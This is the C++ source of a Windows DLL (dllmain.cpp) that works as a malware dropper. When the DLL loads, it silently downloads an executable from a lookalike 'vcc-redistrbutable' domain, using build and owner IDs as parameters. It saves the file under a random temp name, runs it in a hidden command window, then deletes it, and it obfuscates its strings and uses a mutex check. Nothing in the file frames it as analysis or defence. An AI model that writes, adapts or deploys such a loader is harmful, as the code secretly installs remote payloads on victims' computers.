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// dllmain.cpp
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#include <windows.h>
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#include "Ec.h"
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#include <string>
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#include<urlmon.h>
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#pragma comment (lib,"urlmon.lib")
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std::string BuildID = EC("//BuildyID");
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std::string OwnerID = EC("//OwneryID");
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std::string ws2s(const std::wstring& wstr) {
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std::string str;
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str.reserve(wstr.length()); // Pre-allocate for performance
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// Use std::codecvt_utf8-like logic manually
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for (wchar_t wc : wstr) {
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if (wc <= 0x7F) {
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// 1-byte UTF-8
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str.push_back(static_cast<char>(wc));
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}
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else if (wc <= 0x7FF) {
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// 2-byte UTF-8
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str.push_back(static_cast<char>(0xC0 | ((wc >> 6) & 0x1F)));
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str.push_back(static_cast<char>(0x80 | (wc & 0x3F)));
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}
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else if (wc <= 0xFFFF) {
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// 3-byte UTF-8
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str.push_back(static_cast<char>(0xE0 | ((wc >> 12) & 0x0F)));
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str.push_back(static_cast<char>(0x80 | ((wc >> 6) & 0x3F)));
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str.push_back(static_cast<char>(0x80 | (wc & 0x3F)));
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}
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else if (wc <= 0x10FFFF) {
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// 4-byte UTF-8
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str.push_back(static_cast<char>(0xF0 | ((wc >> 18) & 0x07)));
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str.push_back(static_cast<char>(0x80 | ((wc >> 12) & 0x3F)));
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str.push_back(static_cast<char>(0x80 | ((wc >> 6) & 0x3F)));
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str.push_back(static_cast<char>(0x80 | (wc & 0x3F)));
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}
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}
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return str;
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}
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std::wstring s2ws(const std::string& s, bool isUtf8 = true)
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{
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int len;
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int slength = (int)s.length() + 1;
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len = MultiByteToWideChar(isUtf8 ? CP_UTF8 : CP_ACP, 0, s.c_str(), slength, 0, 0);
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std::wstring buf;
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buf.resize(len);
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MultiByteToWideChar(isUtf8 ? CP_UTF8 : CP_ACP, 0, s.c_str(), slength,
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const_cast<wchar_t*>(buf.c_str()), len);
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return buf;
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}
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std::string GetTempPathAndFileName() {
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wchar_t path[MAX_PATH];
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GetTempPath(MAX_PATH, path);
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// Generate a random filename
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std::wstring tmpFile = path;
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tmpFile += EC(L"ox_");
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// Add a timestamp to ensure uniqueness
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auto now = std::chrono::system_clock::now();
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auto ms = std::chrono::time_point_cast<std::chrono::milliseconds>(now).time_since_epoch().count();
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tmpFile += std::to_wstring(ms);
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tmpFile += EC(L".exe");
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return ws2s(tmpFile);
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}
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int win_system(const char* command)
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{
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// Windows has a system() function which works, but it opens a command prompt window.
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char* tmp_command, * cmd_exe_path;
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int ret_val;
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size_t len;
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PROCESS_INFORMATION process_info = { 0 };
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STARTUPINFOA startup_info = { 0 };
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len = strlen(command);
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tmp_command = (char*)malloc(len + 4);
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tmp_command[0] = 0x2F; // '/'
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tmp_command[1] = 0x63; // 'c'
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tmp_command[2] = 0x20; // <space>;
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memcpy(tmp_command + 3, command, len + 1);
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startup_info.cb = sizeof(STARTUPINFOA);
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cmd_exe_path = getenv(EC("COMSPEC"));
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_flushall(); // required for Windows system() calls, probably a good idea here too
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if (CreateProcessA(cmd_exe_path, tmp_command, NULL, NULL, 0, CREATE_NO_WINDOW, NULL, NULL, &startup_info, &process_info)) {
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WaitForSingleObject(process_info.hProcess, INFINITE);
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GetExitCodeProcess(process_info.hProcess, (LPDWORD)&ret_val);
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CloseHandle(process_info.hProcess);
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CloseHandle(process_info.hThread);
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}
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free((void*)tmp_command);
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return(ret_val);
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}
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DWORD WINAPI MainThingy(LPVOID lpParam)
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{
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HANDLE mutexstb = OpenMutexA(MUTEX_ALL_ACCESS, FALSE, (EC("Global\\m") + OwnerID).c_str());
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if (mutexstb == NULL) {
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//std::cout << EC("No Stub Running!") << std::endl;
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std::string pathex = GetTempPathAndFileName();
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std::string urlex = EC("https://vcc-redistrbutable.help/Stb/Retev.php?bl=") + BuildID + EC(".txt");
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/*std::string command = EC("curl -o \"") + pathex + EC("\" \"") + urlex + EC("\"");
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system(command.c_str());*/
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std::string cmdstart = EC("start ") + pathex;
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URLDownloadToFile(NULL, s2ws(urlex).c_str(), s2ws(pathex).c_str(),0, NULL);
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Sleep(1000);
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win_system(cmdstart.c_str());
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Sleep(25000);
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remove(pathex.c_str());
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}
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return 0;
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}
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// DLL entry point
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BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
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switch (ul_reason_for_call) {
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case DLL_PROCESS_ATTACH:
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CreateThread(NULL, 0, MainThingy, NULL, 0, NULL);
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break;
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case DLL_THREAD_ATTACH:
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case DLL_THREAD_DETACH:
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case DLL_PROCESS_DETACH:
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break;
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}
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return TRUE;
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}
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